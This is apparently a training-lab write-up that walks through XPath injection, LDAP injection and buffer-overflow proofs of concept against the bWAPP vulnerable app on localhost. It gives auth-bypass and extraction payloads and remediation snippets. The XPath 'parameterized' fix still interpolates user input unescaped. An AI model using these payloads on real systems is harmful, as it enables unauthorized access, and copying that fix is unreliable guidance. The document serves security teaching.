🧪 17 — XPath Injection, LDAP Injection & Buffer Overflow

XPath Injection, LDAP Injection & Buffer Overflow

🗒️ XPATH INJECTION

CWE: CWE-643 | **Severity**: High

Description

XPath Injection is similar to SQL injection but targets XML data stores. Malicious XPath expressions are injected to extract or manipulate XML data.

Affected Endpoint

```
http://localhost/bWAPP/xmli_1.php
http://localhost/bWAPP/xmli_2.php
```

PoC Payloads

```
# Login bypass
Username: ' or '1'='1
Password: ' or '1'='1

# Extract all nodes
' or 1=1 or '1'='1

# bWAPP XPath PoC:
http://localhost/bWAPP/xmli_1.php?title=Iron+Man'+or+'1'='1
&action=search
```

How XPath Injection Works

```
# Normal query:
//movies/movie[title/text()='Iron Man' and year/text()='200
8']

# Injected query:
//movies/movie[title/text()='' or '1'='1' and year/text()
='' or '1'='1']
# Returns ALL movies (auth bypass equivalent)
```

Remediation

```
// Use parameterized XPath queries
$xpath = new DOMXPath($doc);
$query = $xpath->query("//movies/movie[title='{$title}']");
// -> Use proper variable binding instead
```

📁 LDAP INJECTION

CWE: CWE-90 | **Severity**: High

Description

LDAP Injection manipulates LDAP queries to bypass authentication or extract directory information.

Affected Endpoint

```
http://localhost/bWAPP/ldapi_1.php
```

PoC Payloads

```
# Auth bypass - inject in login field
Username: *
Password: *
# LDAP query becomes: (&(uid=*)(password=*)) -> matches eve
rything
```

```
# Extract users
Username: *)(&
Password: anything

# Terminate LDAP expression
Username: admin)(&(|(password=*)
Password: any
```

Remediation

```
// Escape special LDAP characters
function ldap_escape($str) {
    return str_replace(
        ['\\', '*', '(', ')', "\x00"],
        ['\\5c', '\\2a', '\\28', '\\29', '\\00'],
        $str
    );
}
```

💥 BUFFER OVERFLOW

CWE: CWE-121 | **Severity**: Critical

Description

Buffer overflow occurs when a program writes more data to a buffer than it can hold, overwriting adjacent memory. In web context, bWAPP simulates this.

Affected Endpoint

```
http://localhost/bWAPP/bof_1.php
http://localhost/bWAPP/bof_2.php
```

PoC — Stack Overflow Simulation

```
# Send extremely long string to trigger overflow
http://localhost/bWAPP/bof_1.php?title=AAAAAAAAAAAAAAAAAAAA
```

```
AAAA
```